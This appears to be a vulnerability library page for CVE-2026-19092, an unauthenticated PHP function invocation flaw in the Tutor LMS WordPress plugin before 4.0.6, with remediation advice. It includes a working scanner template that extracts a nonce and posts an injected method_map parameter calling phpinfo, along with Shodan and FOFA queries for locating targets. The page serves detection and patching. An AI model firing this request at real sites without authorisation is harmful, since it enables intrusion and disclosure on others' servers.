/Vulnerability Library

Tutor LMS < 4.0.6 - Unauthenticated Arbitrary PHP Function Invocation

CVE-2026-19092
Early Release

Description

Tutor LMS WordPress plugin < 4.0.6 contains a template injection caused by insufficient prevention of request data overwriting internal variables during template rendering, letting unauthenticated attackers invoke arbitrary zero-argument PHP functions and receive their output.

Severity

Critical

CVSS Score

9.8

Exploit Probability

0%

Affected Product

tutor_lms

Published Date

August 31, 2026

Template Author

aryu-ru

CVE-2026-19092.yaml
id: CVE-2026-19092

info:
  name: Tutor LMS < 4.0.6 - Unauthenticated Arbitrary PHP Function Invocation
  author: aryu-ru
  severity: critical
  description: |
    Tutor LMS WordPress plugin < 4.0.6 contains a template injection caused by insufficient prevention of request data overwriting internal variables during template rendering, letting unauthenticated attackers invoke arbitrary zero-argument PHP functions and receive their output.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP functions and obtain their output, potentially leading to information disclosure or further exploitation.
  remediation: |
    Update to version 4.0.6 or later.
  reference:
    - https://wpscan.com/vulnerability/da7fb4c7-6d07-4c96-bde2-95bca1797d56/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-19092
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-19092
    epss-score: 0.00352
    epss-percentile: 0.27998
    cwe-id: CWE-74
  metadata:
    verified: true
    max-request: 2
    vendor: themeum
    product: tutor_lms
    framework: wordpress
    shodan-query: html:"/wp-content/plugins/tutor/"
    fofa-query: body="/wp-content/plugins/tutor/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,tutor-lms,rce,unauth

variables:
  ctx: "{{rand_base(8, 'abcdefghijklmnopqrstuvwxyz')}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "_tutor_nonce")'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: nonce
        group: 1
        internal: true
        regex:
          - '"_tutor_nonce":"([a-z0-9]+)"'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=tutor_course_filter_ajax&_tutor_nonce={{nonce}}&template=single-content-loader&data[context]={{ctx}}&data[method_map][{{ctx}}]=phpinfo

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"success\":true", "PHP Extension Build", "Configuration File (php.ini) Path", "allow_url_fopen")'
        condition: and

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - 'PHP Version ([0-9]+\.[0-9]+\.[0-9]+)'
# digest: 4a0a0047304502201bf3e08e69096065691a69d9d9ecd6fb365af55e959bde9b4f254eb1631c1083022100830887eda14c16e8861ff9067915fe3332fee7be48dcded00c40abc8057363f2:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-19092
CWE ID:
cwe-74

References

https://wpscan.com/vulnerability/da7fb4c7-6d07-4c96-bde2-95bca1797d56/https://nvd.nist.gov/vuln/detail/CVE-2026-19092

Remediation Steps

Update to version 4.0.6 or later.